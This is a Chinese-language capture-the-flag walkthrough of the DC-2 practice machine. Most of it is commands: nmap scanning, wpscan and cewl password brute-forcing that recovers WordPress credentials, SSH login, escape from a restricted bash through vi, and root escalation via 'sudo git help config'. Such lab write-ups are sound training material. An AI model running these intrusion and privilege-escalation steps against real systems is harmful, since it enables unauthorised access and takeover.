实验步骤
1.信息收集
主机探测
plain
nmap -sP 192.168.89.0/24

端口扫描

80和ssh是开着的

但发现打不开网站 会重定向到dc-2 我们修改本地的hosts


找到了flag1
提示我们要用cewl 发现网页使用的是wordpress cms
我们用wpscan 扫描网页
plain
wpscan -url http://dc-2 -e u

找到了用户名
在用cewl去扫描网站找到密码
plain
cewl http://dc-2 -w password.txt


plain
wpscan --url http://dc-2 -U user.txt -P password.txt

找到了jerry和tom的密码
plain
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
我们把网站进行目录扫描
plain
dirb http://dc-2

找到了登陆页面
我们用tom的身份登陆进去 发现什么都没有 用jerry去登录

找到了flag2 提示我们exp不能用 我们试着ssh去连接

plain
ssh tom@192.168.89.146 -p 7744
2.rbash绕过 提权
plain
RBASH 绕过
什么是 RBASH
RBASH 是 Restricted BASH 的缩写,意思是受限制的 BASH。
RBASH 是一种特殊的 shell,它限制了用户的一些操作和权限,例如:
不能使用 cd 命令来改变当前目录。
不能使用 set 命令来改变环境变量或 shell 选项。
不能使用 unset 命令来取消环境变量或 shell 函数。
不能使用任何包含 / 符号的命令,除非它们在 PATH 环境变量中指定了。
不能重定向输入或输出,例如使用 >, <, >>, << 等符号。
只能执行 PATH 环境变量中指定的命令,而且 PATH 环境变量通常只包含一些基本的命令,例如 ls, cat, echo 等。
RBASH 的目的是为了提高系统的安全性,防止用户执行一些危险或不合法的操作。
需要绕过rbash

可以使用的命令是vi
plain
vi:set shell=/bin/sh
运行shell:shell
执行后会绕过rbash
我们在添加环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
plain
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/
$ cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
提示我们需要su 到jerry用户里
plain
BASH_[x]=/bin/bash
x
这样也可以绕过
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin/


在jerry家目录下找到了flag4
提权到root 使用git提权
plain
sudo git help config
!/bin/bash或者!'sh'完成提权
sudo git -p help
!/bin/bash


在root目录下找到了最终flag